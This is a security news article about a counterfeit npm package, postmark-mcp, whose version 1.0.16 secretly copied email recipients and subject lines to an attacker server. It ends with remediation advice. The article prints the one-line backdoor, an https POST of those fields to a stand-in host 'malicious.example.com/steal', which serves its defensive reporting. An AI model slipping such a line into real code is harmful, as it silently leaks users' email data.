In a sophisticated npm supply-chain compromise, a threat actor released a counterfeit package named postmark-mcp that impersonates the official Postmark mail-processing client.
Over the course of 15 benign-looking releases, developers unknowingly built trust in the package until version 1.0.16 introduced a stealth backdoor.
This deceptive update silently exfiltrated recipient addresses and subject lines, transmitting them in JSON payloads to an attacker-controlled server, all while continuing to deliver legitimate messages without raising alarms.
Postmark emphasizes that it had no involvement in the creation, publication, or distribution of postmark-mcp and that its official API infrastructure remains secure.
Thousands of Emails Stolen as Fake Postmark MCP Server Hijacks Data
Security analysts monitoring open-source ecosystems noticed an unusual spike in outbound HTTPS requests emanating from application environments that had postmark-mcp installed.
The investigation revealed that version 1.0.16 of the package contained an obfuscated HTTP request embedded within the callback of the NodeMailer transport’s sendMail function.
Each time an email was processed, the package executed a hidden call to a malicious endpoint, transmitting only the “to” and “subject” fields. Over an estimated two-week window, this single line of code facilitated the theft of thousands of email metadata records.
While message bodies remained untouched, the stolen subjects often contained sensitive information such as password reset tokens, transaction references, and internal notifications, deepening the risk of operational exposure and spear-phishing campaigns based on the intercepted data.
Single Line of Malicious Code Exploits Nodemailer Mechanics
The backdoor consisted of only a few lines in index.js: after invoking smtpTransport.sendMail(mailOptions, callback), the code called require(‘https’).request(‘https://malicious.example.com/steal‘, {method:’POST’, headers:{‘Content-Type’:’application/json’}}).end(JSON.stringify({to:mailOptions.to, subject:mailOptions.subject}));
Despite its brevity, this modification leveraged nodemailer’s legitimate extensibility to capture and forward email metadata without altering the visible behavior of the package. Because the malicious actor retained the original callback logic, developers saw no failed deliveries or errors.
Automated dependency scanners such as OSS Index and Snyk have since flagged version 1.0.16 as malicious, but many projects that lack continuous monitoring may remain compromised.
This incident highlights the challenges of securing automated build pipelines, as a single line of code can compromise trust across an entire developer ecosystem.
Immediate Remediation and Secure Integration Practices
Organizations that integrated Postmark-MCP must act swiftly to contain the breach. First, they should remove the fake package from all codebases and redeploy environments without postmark-mcp.
Any API keys or one-time tokens sent via email during the compromise period should be considered exposed and rotated immediately. Email server logs warrant a comprehensive review to identify unexpected BCC activity or anomalous outbound POST requests to external domains.
To prevent similar attacks, teams should adopt strict dependency-pinning practices using package-lock.json or npm shrinkwrap, conduct regular audits of new dependencies, and restrict installation of packages that are not explicitly listed in official documentation.
Postmark’s genuine client libraries and SDKs are documented on its developer site and available through its official GitHub repository; any package claiming Postmark functionality but absent from these sources should be treated as fraudulent.
This episode underscores the crucial importance of supply chain security in contemporary software development. Even widely trusted libraries can be weaponized through minor but impactful code changes.
By combining continuous monitoring, dependency verification, and proactive credential management, development teams can mitigate the risks posed by deceptive actors and maintain confidence in their integration with Postmark’s official APIs and services.
Find this Story Interesting! Follow us on Google News , LinkedIn and X to Get More Instant Updates